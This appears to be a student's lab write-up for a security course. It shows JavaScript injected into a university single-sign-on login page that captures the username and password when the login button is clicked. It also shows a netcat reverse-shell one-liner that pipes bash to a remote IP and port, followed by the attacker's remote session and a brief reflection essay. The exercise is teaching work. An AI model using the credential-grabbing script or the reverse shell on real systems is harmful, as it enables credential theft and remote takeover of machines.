

## Activity 3

1. Javascript Injection. Your friend has just logged out of ChulaSSO (<https://account.it.chula.ac.th/>) before leaving his/her computer. You have 2-3 minutes to inject a script to his/her browser so that you can steal his/her username (ChulaId) and password.

For this class, please inject a javascript so that once your friend login (clicks the login button), it will pop up his/her username/password.

The screenshot shows a web browser window with the URL `https://account.it.chula.ac.th/html/login.html?service=https%3A%2F%2Faccount.it.chula...`. The page title is "Chula SSO" and the subtitle is "Your Single Sign-On for Chula Services". Below this, it says "(IT) Chula LDAP is working normally."

The login form is titled "Please Login" and contains the following fields:

- Username: 6331322721
- Password: [Redacted]
- ☐ keep me signed in

Below the form, it says: "If **keep me signed in** is not selected, the session will expire after you close the browser."

At the bottom of the form is a "LOGIN" button.

At the bottom of the page, it says: "Chula SSO is designed by Kreek Piromsopa, Ph.D. for Chulalongkorn University. For more information, visit our [wiki](#) page."

At the very bottom, it says "Power by" followed by a logo for "CHULA SSO".

On the right side of the browser window, the "Sources" tab is open, showing a list of files. The file `login.html?service=https%3A%2F%2Faccount.it.chula...` is selected, and the "Default levels" dropdown is set to "99+". The console shows a series of log messages, each with the status "alive" and the URL `login.html?service=https%3A%2F%2Faccount.it.chula...`.

The JavaScript code injected into the page is as follows:

```
> document.getElementById("btn_login").onclick = function () {
  const username = document.getElementById("username").value;
  const password = document.getElementById("password").value;
  alert("Username: " + username + "\nPassword: " + password);
}
< f () {
  const username = document.getElementById("username").value;
  const password = document.getElementById("password").value;
  alert("Username: " + username + "\nPassword: " + password);
}
>
```

2. We will mimic an attack used by several worms for placing a trojan horse into your computer. Please note that it is for demonstration purposes only. Please do not abuse it.

Victim (I have netcat's version issue so I modified the command to apply to the question) :

```
pawankanjeam — mkncod /tmp/backpipe p; /bin/bash < /tmp/backpipe | nc...
pawankanjeam@Pawans-MacBook-Pro ~$ mkncod /tmp/backpipe p
/bin/bash 0</tmp/backpipe | nc 172.20.10.2 60000 1>/tmp/backpipe
```

Attacker:

```
Desktop — nc -l 60000 — 80x24
pkanjeam@C02GL0XWMD6T Desktop % nc -l 60000
pwd
/Users/pawankanjeam
cd Desktop/forActivity3
pwd
/Users/pawankanjeam/Desktop/forActivity3
ls
echo "You're HACKED" > look.txt
ls
look.txt
```

3. Write an essay to summarize the lesson that you have learned in this activity.  
In particular,  
a) explain the worst case scenario that can happen if you leave your computer unattended.

**Worst case:**

- Might got an unauthorized access.
- Might got robbed financially (get access to bank account)
- Someone might stole your sensitive information (Someone might inject the malicious entities to exploit private and sensitive information)

- b) explain how a tool like netcat can be used for constructing a trojan horse.  
As a user, how will you prevent yourself from being a victim to such attacks?

**How netcat construct a trojan horse :** It give attackers the control of your machine and give them the opportunity to execute or run any command remotely.

**Prevent :** Be careful when download or execute files from suspicious sources and use the strong authentication for any password.